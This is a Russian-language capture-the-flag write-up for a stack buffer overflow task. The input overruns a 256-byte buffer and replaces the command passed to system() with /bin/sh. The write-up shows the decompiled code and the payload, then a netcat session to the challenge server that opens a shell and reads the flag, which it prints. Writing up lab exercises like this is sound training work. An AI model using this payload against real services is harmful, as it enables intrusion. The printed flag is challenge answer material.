Надо сделать переполнение переменной username на стеке и получить шелл.
nc 109.233.56.90 11577
Solution
Анализ main
int32_t main(int32_t argc, char** argv, char** envp)
{
int64_t line;
__builtin_strncpy(&line, "/bin/date", 0x100);
printf("Enter your name: ", argv, 0x65);
void buf;
read(0, &buf, 0x400);
printf("Successful login at ");
system(&line);
return 0;
}
username считывается прямо в main. С помощью read в buf читается 1024 символов, хотя сам буфер имеет длину 256. Т.е. мы можем перетереть значение в line.
Ниже line передаётся в system. Значит мы можем вызвать любую команду — попробуем получить шелл.
Для этого нужно ввести 256 любых символов + /bin/sh:
aaa...aaa/bin/sh
Exploit
Протестирую локально:
root@8c61c9184ed9:/rev# ./task
Enter your name: aaa...aaa/bin/sh
Successful login at # ls
Всё сработало. Получу флаг:
root@8c61c9184ed9:/rev# nc 109.233.56.90 11577
Enter your name: aaa...aaa/bin/sh
Successful login at
ls
flag
cat flag
spbctf{stack_buffer_shell_what}
spbctf{stack_buffer_shell_what}